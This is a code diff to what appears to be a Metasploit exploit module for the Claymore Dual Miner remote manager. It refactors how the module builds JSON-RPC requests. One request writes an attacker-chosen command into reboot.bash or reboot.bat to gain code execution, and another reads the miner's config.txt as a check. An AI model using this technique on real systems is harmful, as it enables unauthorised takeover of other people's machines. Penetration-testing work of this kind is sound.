diff --git a/modules/exploits/multi/misc/claymore_dual_miner_remote_manager_rce.rb b/modules/exploits/multi/misc/claymore_dual_miner_remote_manager_rce.rb index 5a5dce8b2a..2f9d5b987a 100644 --- a/modules/exploits/multi/misc/claymore_dual_miner_remote_manager_rce.rb +++ b/modules/exploits/multi/misc/claymore_dual_miner_remote_manager_rce.rb @@ -68,9 +68,19 @@ class MetasploitModule < Msf::Exploit::Remote end case target['Platform'] when 'linux' - upload = "{\"id\":0,\"jsonrpc\":\"2.0\",\"method\":\"miner_file\",\"params\":[\"reboot.bash\", \"#{cmd}\"]}" + upload = { + "id" => 0, + "jsonrpc" => '2.0', + "method" => 'miner_file', + "params" => ['reboot.bash', "#{cmd}"] + }.to_json when 'windows' - upload = "{\"id\":0,\"jsonrpc\":\"2.0\",\"method\":\"miner_file\",\"params\":[\"reboot.bat\", \"#{cmd}\"]}" + upload = { + "id" => 0, + "jsonrpc" => '2.0', + "method" => 'miner_file', + "params" => ['reboot.bat', "#{cmd}"] + }.to_json end begin connect @@ -105,7 +115,12 @@ class MetasploitModule < Msf::Exploit::Remote end def check - data = '{"id":0,"jsonrpc":"2.0","method":"miner_getfile","params":["config.txt"]}' + data = { + "id" => 0, + "jsonrpc" => '2.0', + "method" => 'miner_getfile', + "params" => ['config.txt'] + }.to_json connect sock.put(data) buf = sock.get_once || ''